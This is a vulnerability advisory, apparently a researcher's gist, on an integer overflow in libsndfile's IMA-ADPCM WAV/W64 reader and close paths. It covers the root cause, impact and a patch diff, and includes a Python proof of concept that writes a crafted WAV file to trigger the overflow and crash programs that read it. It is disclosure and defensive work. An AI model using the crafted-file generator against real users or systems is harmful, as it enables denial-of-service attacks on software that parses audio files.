Skip to content

Instantly share code, notes, and snippets.

@sgInnora
Created April 30, 2026 08:32
Show Gist options
  • Select an option

  • Save sgInnora/a5f5c19e4bf6f4fb74fab7b0ef2bfcc1 to your computer and use it in GitHub Desktop.

Select an option

Save sgInnora/a5f5c19e4bf6f4fb74fab7b0ef2bfcc1 to your computer and use it in GitHub Desktop.
libsndfile IMA-ADPCM Integer Overflow in WAV/W64 Path (CVE-2026-37555)

libsndfile IMA-ADPCM Integer Overflow in WAV/W64 Path (CVE-2026-37555)

CVE: CVE-2026-37555
Affected: libsndfile ≤ 1.2.2 (latest release)
CWE: CWE-190 (Integer Overflow or Wraparound)
CVSS 3.1: 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) — Local, user interaction required (open a crafted file)
Reporter: Feng Ning, Innora Security Research (feng@innora.ai)


Summary

Two 32-bit multiplication overflows in src/ima_adpcm.c let a crafted WAV or W64 file corrupt psf->sf.frames with a negative or zero value. The AIFF code path got an explicit sf_count_t cast during CVE-2022-33065, but the WAV reader and write-close paths were left alone.


Root Cause

samplesperblock, blockcount, and blocks are all int (32-bit signed):

// src/ima_adpcm.c, line 34
int  channels, blocksize, samplesperblock, blocks ;
int  blockcount, samplecount ;

Line 235 — WAV/W64 reader init:

psf->sf.frames = pima->samplesperblock * pima->blocks ;
//               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//               int × int, no sf_count_t cast
//               overflows when product > 2^31-1

Line 167 — write-close path (ima_close):

psf->sf.frames = pima->samplesperblock * pima->blockcount / psf->sf.channels ;
//               same int × int overflow before division

Line 241 — AIFF path (patched in CVE-2022-33065):

psf->sf.frames = (sf_count_t) pima->samplesperblock * pima->blocks / pima->channels ;
//               ^^^^^^^^^^^^^  ← explicit cast prevents overflow

The WAV path never received the same treatment.


Impact

A crafted WAV/W64 file with large samplesperblock × blocks — e.g. 50000 × 50000 = 2,500,000,000, which wraps to −1,794,967,296 in int32 — leaves psf->sf.frames holding garbage. Callers using sf.frames to size buffer allocations or drive iteration loops may then read or write out of bounds depending on caller behaviour. In practice this causes abnormal termination (DoS).


Proof of Concept

import struct

def make_wav_ima(samplesperblock, blocks):
    # IMA ADPCM WAV with crafted header values
    channels  = 1
    blockalign = (samplesperblock - 1) // 2 + 4
    # fmt chunk
    fmt = struct.pack('<HHIIHHHH',
        0x0011,          # wFormatTag = IMA ADPCM
        channels,
        8000,            # nSamplesPerSec
        8000 * blockalign,
        blockalign,
        4,               # wBitsPerSample
        2,               # cbSize
        samplesperblock
    )
    data_size = blockalign * blocks
    wav = (b'RIFF' + struct.pack('<I', 36 + len(fmt) + 8 + data_size) +
           b'WAVEfmt ' + struct.pack('<I', len(fmt)) + fmt +
           b'data' + struct.pack('<I', data_size) + b'\x00' * data_size)
    return wav

with open('overflow.wav', 'wb') as f:
    f.write(make_wav_ima(50000, 50000))
$ sndfile-info overflow.wav
# or
$ python3 -c "import soundfile; soundfile.info('overflow.wav')"
# triggers integer overflow in ima_reader_init / ima_close

Fix

Both affected lines need the same sf_count_t cast already present in the AIFF path:

// Line 235 — WAV/W64 path
-    psf->sf.frames = pima->samplesperblock * pima->blocks ;
+    psf->sf.frames = (sf_count_t) pima->samplesperblock * pima->blocks ;

// Line 167 — ima_close write path
-    psf->sf.frames = pima->samplesperblock * pima->blockcount / psf->sf.channels ;
+    psf->sf.frames = (sf_count_t) pima->samplesperblock * pima->blockcount / psf->sf.channels ;

References


Innora Security Research — https://innora.ai

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment